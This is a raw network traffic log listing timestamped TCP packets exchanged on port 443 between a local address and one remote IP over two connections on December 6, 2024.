Dec 6, 2024 10:39:23.511528015 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.515487909 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.515552044 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.520627022 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.520710945 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.524543047 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.524609089 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.528603077 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.528666019 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.533746004 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.533823967 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.537646055 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.537740946 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.661621094 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.661748886 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.665941954 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.666016102 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.669265032 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.669342995 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.672744036 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.672810078 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.676069975 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.676135063 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.680417061 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.680500984 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.683731079 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.683813095 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.687151909 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.687216997 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.690510035 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.690578938 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.694364071 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.694428921 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.698733091 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.698797941 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.702351093 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.702414036 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.705511093 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.705579996 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.709470987 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.709534883 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.713206053 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.713264942 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.716500044 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.716556072 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.852545023 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.852796078 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.855798006 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.855856895 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.860228062 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.860317945 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.863595963 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.863668919 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.866941929 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.867001057 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.871272087 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.871334076 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.874689102 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.874757051 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.878110886 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.878194094 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.881392956 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.881474972 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.885765076 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.885847092 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.888644934 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.888721943 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.892947912 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.893007994 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.896384954 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.896450043 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.897474051 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.897519112 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.897531986 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.897553921 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:23.897572041 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:23.897593975 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:24.089564085 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:24.089598894 CET	443	49709	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:24.089616060 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:24.089648962 CET	49709	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:24.182241917 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:24.182312012 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:24.182383060 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:24.182632923 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:24.182651997 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:25.538144112 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:25.538260937 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:25.538815975 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:25.538830042 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:25.539022923 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:25.539027929 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.049452066 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.049478054 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.049551964 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.049586058 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.049598932 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.049643993 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.244610071 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.244831085 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.274641991 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.274707079 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.297601938 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.297694921 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.321208954 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.321283102 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.446455002 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.446532011 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.464787960 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.464857101 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.483983994 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.484098911 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.498578072 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.498646975 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.513021946 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.513129950 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.513129950 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.532270908 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.532335997 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.636898994 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.637064934 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.649559975 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.649693966 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.660829067 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.660957098 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.675237894 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.675476074 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.690169096 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.690332890 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.697134972 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.697257042 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.708113909 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.708198071 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.722563028 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.722668886 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.733552933 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.733680964 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.823049068 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.823177099 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.834336042 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.834444046 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.844750881 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.844844103 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.853152037 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.853276014 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.857570887 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.857661009 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.866991043 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.867060900 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.874124050 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.874224901 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.881294966 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.881383896 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.890547991 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.890641928 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.896559000 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.896647930 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.905879974 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.905985117 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.912947893 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.913037062 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.920222998 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.920325041 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.927155018 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.927227020 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.936532974 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.936615944 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:26.943706036 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:26.943785906 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.014724970 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.014811993 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.020026922 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.020100117 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.025228024 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.025302887 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.030237913 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.030298948 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.036577940 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.036644936 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.041299105 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.041373968 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.045953989 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.046049118 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.050499916 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.050601959 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.056229115 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.056297064 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.061249971 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.061346054 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.065512896 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.065581083 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.068655968 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.068746090 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.071233988 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.071305990 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.074551105 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.074605942 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.076978922 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.077066898 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.254520893 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.254621983 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.488373041 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.488389015 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.488459110 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.488504887 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.488535881 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.488550901 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.488598108 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.488698006 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.488729954 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.488753080 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.488763094 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.488780022 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.488801956 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.489701986 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.489741087 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.489792109 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.489799976 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.489810944 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.489834070 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.490422964 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.490509987 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.490566015 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.490619898 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.491359949 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.491408110 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.491429090 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.491436005 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.491461039 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.491486073 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.492422104 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.492460966 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.492491961 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.492497921 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.492531061 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.492539883 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.493278980 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.493350983 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.493705034 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.493735075 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.493758917 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.493765116 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.493787050 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.493810892 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.495466948 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.495512009 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.495539904 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.495546103 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.495585918 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.496759892 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.496810913 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.496831894 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.496843100 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.496855974 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.496889114 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.496895075 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.496920109 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.496942043 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500356913 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500400066 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500425100 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500432014 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500442982 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500473022 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500489950 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500514984 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500520945 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500536919 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500540972 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500566006 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500572920 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500588894 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500595093 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500606060 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500610113 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500634909 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500643015 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500675917 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500679016 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500686884 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500730038 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500735044 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500741005 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500763893 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500786066 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500793934 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.500817060 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.500843048 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.501415014 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.501487970 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.588243008 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.588295937 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.588332891 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.590704918 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.590779066 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.593403101 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.593466043 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.595865965 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.595940113 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.599180937 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.599262953 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.601830959 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.601897001 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.604326010 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.604429007 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.607633114 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.607700109 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.610121965 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.610202074 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.613286972 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.613396883 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.615655899 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.615758896 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.618287086 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.618375063 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.621608973 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.621687889 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.624180079 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.624268055 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.626703024 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.626790047 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.629057884 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.629122972 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.779743910 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.779865026 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.782143116 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.782202959 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.784689903 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.784778118 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.787151098 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.787224054 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.790241003 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.790307999 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.792749882 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.792838097 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.795283079 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.795357943 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.798415899 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.798487902 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.800868034 CET	443	49712	23.254.224.41	192.168.2.6
